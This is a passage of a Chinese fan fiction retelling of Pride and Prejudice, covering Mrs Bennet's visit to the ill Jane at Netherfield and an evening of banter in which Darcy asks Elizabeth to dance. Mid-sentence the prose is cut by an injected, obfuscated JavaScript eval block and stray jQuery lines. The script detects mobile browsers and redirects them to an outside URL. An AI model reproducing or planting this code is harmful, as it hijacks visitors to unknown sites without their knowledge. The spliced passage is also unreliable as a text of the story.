安妮回家之后告诉大家,简只是得了流感。
没有人责备贝内特太太,但她还是提心吊胆了一整天。
第二天早上,路面情况稍微好一些了,贝内特太太马上叫马夫驾车把她送到了内瑟菲尔德庄园,正好和被宾利先生请来的琼斯医生碰上了。
“早啊,贝内特太太。”琼斯医生冲她打招呼。
“早上好,医生,瞧见您可真是太好了!我们的小简怎么样了?”贝内特太太问,两只手都攥住了琼斯医生的胳膊。
“贝内特小姐吃了药应当会感觉好一些,但具体表现还不确定,按常理讲不会有什么问题,只不过每个人的情况却可能不同。”医生回答。
“天啊,医生,你弄得我头都晕了。”贝内特太太捂着胸口,给好医生的回答弄得方寸大乱了。
好在简的情况比昨天已经好多了,贝内特太太发现事情并不像想象中那么严重,终于放下了心,开始觉得女儿因祸得福,能够留在内瑟菲尔德庄园是一件好事了。
在琼斯医生也宣布,病人已经好转,但现阶段还必须卧床之后,贝内特太太更是一口回绝了简要一起回家的提议。
在这件事情上,贝内特太太和宾利先生算是不谋而合了。
“简小姐身体好转真是太好了。”宾利说,“她在此地没有得到良好的照顾,竟然生了病,这全是由于我的疏忽导致,请您千万要允许我弥补自己的过错。”
贝内特太太对他的喜爱之情是毫不掩饰的,她说:“您真是太好了,宾利先生,我非常放心她留在这里。我希望这没有打扰了您原来的计划,听说您在这儿的租期可是很短呀。”
“哦,当然不会,我算是在这儿住定了。”宾利大声宣布,似乎想知道谁会反对一样。
“我正是这么猜的,”伊丽莎白笑眯眯地说。
“你真了解我,小姐,”宾利转过身,欢快地说,“我想咱们一定可以做好朋友啦!”
“是的呀,宾利先生,您这样的性格真叫人喜欢。”伊丽莎白捧场道。
“啊,也有人说我的性格不够稳重哩。”宾利先生说。
“性格深沉的人,未见得比您更得人尊重。”伊丽莎白说。
“我以前还不知道有这种说法,”宾利喜滋滋地说,“你见过许多人吗,小姐?”他又问。
“是的。我见过许多人,有的率直,有的深沉,都很有意思。”伊丽莎白回答道。
“一般说来,”达西说,“乡下没有那么多人,人们的活动范围非常狭窄,非常单调。”
“哦,我经常跟着安妮到各地去参加比赛,那儿人可就多多了,而且人是富有变化的,人们身上总是有些新东西值得注意,我喜欢隔一段时间在重复的地方发现不一样的东西。”伊丽莎白说。
不得不说,这个回答非常得体,达西先生闭了嘴,但他刚才以那种口气提到乡下让贝内特太太有点儿不高兴,她高声支援女儿:“一点不假。乡下跟城里一样人多,更别说我们家每天都要来十几位有教养的小姐。”
“是的,那是我的学生们,”安妮拉着母亲坐下,笑着向周围的人解释道,“我妈妈非常喜欢孩子们,她们毕业的时候她会沮丧得好几个星期都吃不好饭睡不好觉,可等到九月一日的时候,她又用饱满的热情来招待新生,完全忘了过几年她们又会离开她,像这样真心实意地对孩子们好的人,我觉得只有母亲这个词可以形容了。”
贝内特太太听了,就忘了刚才的不高兴,专心向宾利先生介绍乡下的各种有趣的活动。
伊丽莎白松了口气,妈妈有时候完全不管别人在说什么,有时候会曲解别人的意思,不知道怎么的,她很怕在达西先生面前丢脸,尤其是宾利小姐也一起在这儿的时候,幸好有安妮,她把头靠在姐姐的肩膀上,感到安心和舒适。
贝内特太太告诉宾利先生,常在一起吃饭的有二十四户人家,想必城里人也不能比这里更多了。
“在乡下,我们的朋友确实数量不多,因为这儿不像城里有那么多的人来来去去,所以我们只在自己的地方儿交朋友。大家在这里都快几百年了,邻居之间的关系稳固得像岩石。”安妮说。
她的话引起了达西先生的赞同,他不由自主地点了点头,这些人里,只有他能明白乡下的人情关系有多么牢固。
宾利小姐脸上的笑容消失得那么快,就好像压根儿也没出现过一样。
老宾利先生留下了十几万英镑的遗产,可是这里头并没有房地产,他直到死都没能如愿,赫斯特夫人因此嫁给了一个领家族津贴就心满意足的男人。宾利小姐早已打定主意要入主彭伯里庄园,如果他们有一份房地产,她觉得这事儿就顺理成章了。
现在,贝内特家的乡巴佬竟敢拿这件事来做文章,宾利小姐气得把小扇子都挥出了残影,可惜,除了她姐姐,没人在意。
接下来,贝内特太太又说起她和蔼可亲的邻居们,因为威廉卢卡斯爵士一家昨天上家来了。
“卢卡斯家的姑娘全是些顶顶好的姑娘,只可惜长得不漂亮!”贝内特太太说。
“她看来是位很可爱的姑娘。”宾利说。
“哦!是的。不过卢卡斯太太本人常羡慕我的安妮和简,我不喜欢吹嘘自己的孩子,不过她们长得多么俊俏啊。”贝内特太太赞叹道。
“快别这么说,妈妈,如果我们姊妹在外表上有什么可取之处,人人都会说那全是你和父亲的功劳,人家会觉得您在自吹自擂呢。”安妮笑着说。
贝内特太太疼爱地望着她最大的一个孩子,大女儿长得这么美,还这么有才干,是她的骄傲。
“不过这也是实话,我的孩子,你们长得这么好看,全是我的功劳……哦,你们的父亲也许也出了点力吧,不过那可以说是微乎其微。”贝内特太太说。
大家都笑了,不过一个乡下妇人,谁还能要求更多呢?而且以她这个年纪的人来说,她确实算得上好看。
过了一阵儿,贝内特太太又一次感谢宾利先生对简的悉心照料,同时还为家里人来打搅他表示
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408483|200609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
歉意,然后便叫预备马车。
贝内特太太和安妮离开之后,伊丽莎白立刻回到了姐姐身边,到了晚上,她跟大家伙一块待在客厅里,由于昨天她讲话不讨喜,今天也没什么人搭理她。
达西正在写信,宾利小姐对他恭维个没完没了,伊丽莎白在心里哼了一声,觉得怪腻歪的,就认真看起了书。
过了一会儿,她再转过头时,发现宾利先生也加入了谈话,他的姊妹为了讨好达西批评了自己的兄弟,宾利先生就稍稍辩驳了一句。
“好吧,我的念头是转得太快,简直来不及写——因此,收信人有时候会觉得我言之无物。”他说。
伊丽莎白听的忍不住笑了:“宾利先生,你这样谦虚,人家本来想责备你也不忍心了。”
如此一来,达西又不乐意了,非要他的朋友认识到自己的不足不可。
“假装谦虚是再虚伪不过了,”他说,“你的念头转的太快不是因为思维敏捷,而是心志不坚。假如你从某地启程的时候,有个朋友跟你说:‘宾利,你还是待到下周再走吧,’你就可能听他的话,不走了——他要是再提个要求,你也许会待上一个月,这就是你。”
这件事如果是真的,宾利先生就太容易被安排了,伊丽莎白心想,不过她偏要和达西先生对着干,“这只能证明宾利先生总是为别人的快乐着想嘛,达西先生。”她说。
“我感到不胜荣幸,小姐,”宾利笑着说,“达西的话经你这么一解释,反倒变成恭维我性情随和了。不过,他这个人倒是只盼着我断然拒绝,赶快走掉,不管那位朋友是不是他自己,因此我也声称,他是个公平的家伙。”
他这么说,达西就不好意思再批评他了,低下头赶快把手头的信写好,又请求宾利小姐和伊丽莎白赏赐他一点儿乐曲听听。
宾利小姐还记得贝内特家的老三歌声有多么惊艳,因此不准备叫她表现更多,不客气地在钢琴旁坐了下来,赫斯特夫人则开始替妹妹伴唱。
伊丽莎白托着腮,在椅子上晃着两只脚,无聊地拨弄了一下书页,突然看到达西正拿眼睛瞧她,让她一下子联想到他弹琴时求而不得的痛苦和挣扎,她的心就和软起来了。
这个时候,达西走了过来,“贝内特小姐,你想不想跳支舞呢 ?”他问道。
伊丽莎白有点吃惊,她抬头看着他,拿不准他的意思,诚实地说:“我……我并不是很想跳舞。”
她的态度是那么的坦率,因为她并不想狩猎他,也不想勾引他,那正是她的迷人之处。
达西忍不住也变得坦率了,“我想邀请您跳支舞,小姐。”他轻声说。
这一片的空气一下子变得粘稠了,伊丽莎白有些不知所措,她合上书页,扬起脸,不服输地皱了皱鼻子,带着点儿恶作剧的意思回答道:“您想跳舞的话,最好是去邀请宾利先生,他一定会答应您,因为他心志不坚嘛。”
她又一次拒绝了他,但是达西一点儿也不生气,他甚至发觉自己为这句简单的俏皮话意乱神迷。